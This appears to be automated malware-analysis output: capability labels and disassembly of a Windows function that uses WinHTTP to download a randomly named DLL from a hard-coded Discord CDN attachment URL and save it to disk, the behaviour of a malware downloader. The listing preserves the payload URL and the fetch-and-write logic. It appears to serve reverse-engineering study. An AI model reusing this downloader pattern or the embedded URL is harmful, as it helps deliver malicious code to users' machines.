Function at 0x140002070
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x24c0]
mov eax, 0x25c0
call fcn.140004d30
sub rsp, rax
xor r12d, r12d
mov dword [rbp + 0x2510], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r14, rax
test rax, rax
jne 0x1400020e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WinHttpOpen_failed_with_error:__u_n
call fcn.140001d90
xor al, al
jmp 0x140002601
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0x50], 0x68
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x70], 0x100
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0xa0], 0x100
lea r9, [rbp + 0x50]
xor r8d, r8d
xor edx, edx
lea rcx, str.https:__cdn.discordapp.com_attachments_1244654994548981799_1257082008186781877_Sqj84358sdkAIDJAJD.dll_ex66831c5ais6681cadahm2d92ccad0218ebfaad0ddae75b88dce018410642e9cc44373c3c911a3fae9560
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
jne 0x14000217c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WinHttpCrackUrl_failed_with_error:__u_n
mov edx, eax
call fcn.140001d90
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor al, al
jmp 0x140002601
xor r9d, r9d
movzx r8d, word [rbp + 0x74]
mov rdx, qword [rbp + 0x68]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
test rax, rax
jne 0x1400021a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WinHttpConnect_failed_with_error:__u_n
jmp 0x140002165
mov eax, r12d
mov ecx, 0x800000
cmp dword [rbp + 0x64], 2
cmove eax, ecx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, qword [rbp + 0x98]
lea rdx, [0x140005aa0]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
jne 0x140002214
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WinHttpOpenRequest_failed_with_error:__u_n
call fcn.140001d90
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor al, al
jmp 0x140002601
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x14000226e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WinHttpSendRequest_failed_with_error:__u_n
mov edx, eax
call fcn.140001d90
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor al, al
jmp 0x140002601
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x14000228c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WinHttpReceiveResponse_failed_with_error:__u_n
jmp 0x140002245
mov dword [rbp + 0x2508], r12d
mov dword [rbp + 0x2500], r12d
lea rax, [0x140006108]
mov qword [rsp + 0x40], rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x2510], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x48], rax
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r12
mov rax, qword [0x140009468]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r12
mov r8d, 0x22
lea rcx, [rsp + 0x48]
call fcn.140003c30
test rax, rax
jne 0x14000236c
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
cmp qword [rbp - 0x38], 0
jne 0x140002390
lea rdx, str.Sqj84358sdkAIDJAJD.dll
lea rcx, str.Failed_to_open_output_file:__s_n
call fcn.140001d90
jmp 0x1400025d7
mov dword [rbp + 0x2508], r12d
lea rdx, [rbp + 0x2508]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1400024fa
mov r8d, dword [rbp + 0x2508]
test r8d, r8d
je 0x1400023fc
lea r9, [rbp + 0x2500]
lea rdx, [rbp + 0x4c0]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002484
mov r8d, dword [rbp + 0x2500]
lea rdx, [rbp + 0x4c0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
cmp dword [rbp + 0x2508], 0
ja 0x140002390
cmp qword [rbp - 0x38], 0
je 0x140002493
lea rcx, [rbp - 0x48]
mov rax, qword [rsp + 0x60]
cmp qword [rax], rcx
jne 0x14000242f
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x30]
mov qword [rax], rcx
mov rax, qword [rbp - 0x80]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x68]
mov dword [rax], edx
lea rcx, [rsp + 0x48]
call fcn.140003a90
lea rbx, [rsp + 0x48]
test al, al
cmove rbx, r12
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, r12
test eax, eax
cmove rdi, rbx
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r12
mov rax, qword [0x140009468]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r12
test rdi, rdi
jne 0x1400024d8
jmp 0x1400024b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WinHttpReadData_failed_with_error:__u_n
jmp 0x140002507
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r12
mov rax, qword [0x140009468]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r12
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov bl, 1
jmp 0x1400025f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WinHttpQueryDataAvailable_failed_with_error:__u_n
mov edx, eax
call fcn.140001d90
cmp qword [rbp - 0x38], 0
je 0x140002592
mov rax, qword [rsp + 0x60]
lea rcx, [rbp - 0x48]
cmp qword [rax], rcx
jne 0x14000253d
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x30]
mov qword [rax], rcx
mov rax, qword [rbp - 0x80]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x68]
mov dword [rax], edx
lea rcx, [rsp + 0x48]
call fcn.140003a90
lea rbx, [rsp + 0x48]
test al, al
cmove rbx, r12
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, r12
test eax, eax
cmove rdi, rbx
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r12
mov rax, qword [0x140009468]
mov qword [rbp - 0x44], rax
mov qword [rbp - 0x50], r12
test rdi, rdi
jne 0x1400025d7
jmp 0x1400025b8
mov byte [rbp - 0x3c], 0
mov byte [rbp - 0x47], 0
lea rcx, [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x38], r12
mov rax, qword [0x140009468]
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x44], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
xor r8d, r8d
mov edx, 2
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor bl, bl
lea rcx, [rsp + 0x40]
call fcn.140002620
movzx eax, bl
add rsp, 0x25c0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret